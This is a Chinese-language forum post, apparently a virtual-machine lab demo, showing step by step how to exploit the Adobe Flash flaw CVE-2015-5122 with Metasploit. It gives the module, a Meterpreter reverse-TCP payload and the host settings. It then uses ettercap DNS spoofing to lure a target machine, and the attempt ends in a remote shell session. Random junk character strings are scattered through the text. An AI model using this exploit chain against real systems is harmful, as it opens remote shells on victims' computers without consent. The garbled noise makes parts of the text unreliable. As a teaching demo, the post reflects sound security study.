cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

. K2 B: x, S- t; u, V: s

search cve-2015-5122如图：

5 H, M1 ~- p8 Q2 b8 F   6 C! e! Y( k# n

8 Y* Z; U p$ k- x/ @4 [

# `, v$ R/ \2 {9 i- t' s/ r 下面我们敲如下命令： $ E, Q) ^) Q9 U, I9 ]

4 @0 P4 Y; U' v, c' O# @" k* v) T! N

use exploit/multi/browser/adobe_flash_opaque_background_uaf

set PAYLOAD windows/meterpreter/reverse_tcp $ [$ ^7 W7 F: u8 L# \

( i% D+ _3 y1 Z7 F: u; _4 ~9 X2 X

. y8 `0 ^- ?3 s X3 f. x3 I" L set LHOST 192.168.0.109 4 r6 \! Z6 X0 O- Y- [6 B) j

( j% w5 {" D9 U* f1 s C9 O

set URIPATH /                        /*根目录*/ 6 V. G: s4 \2 Q0 \9 Z3 \7 a

2 U) O% S. ^" R

6 o, I2 } q. p, V- B set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 " V1 ]1 O) L. i/ [7 Q) S1 ?8 D% M

8 }6 ^4 F* e- @

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 / c4 s# g3 c0 o' h- {. G |

- a% ^8 R7 \8 C2 r; N

2 C: n$ Q$ q3 T1 Z. t 然后show options如图：

; b6 U2 @& Z( |  

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
: g- N( ~0 Y" ?" {3 o9 ? $ M5 P* i) u6 W; t

7 {0 A9 |% D6 E- {" B1 |

2 J/ T- k3 @( K& k 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 0 s, M d! W- D: i" E N9 h

t) G0 t. o6 [( A

$ j# v Q0 D9 T Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf ; x) ^/ Z6 O- ]1 R

! a' n" G+ o" u8 _ Q

' e; }" c$ K7 O% u: _1 g  

* d! [* e1 f/ p6 x1 p 成功了，这时候我们断开ettercap，如图： 0 ]' M+ a: e8 G. _1 |2 A0 i

# v. T* T i4 F! h$ d( B

/ R0 [; \0 \: Y6 B$ g   0 {# L2 q+ D& I9 Z0 ~1 Q, r

9 S- r* D- g* g; _

& _3 e' A. [/ Z' T; G! R Screenshot如图：

! {- n7 ]! e* d' W- W) u+ ~8 `

6 V" y+ m( O6 ?" c0 v: O  

+ D- e: ]6 P9 X- W+ C

! e# h/ V( B. }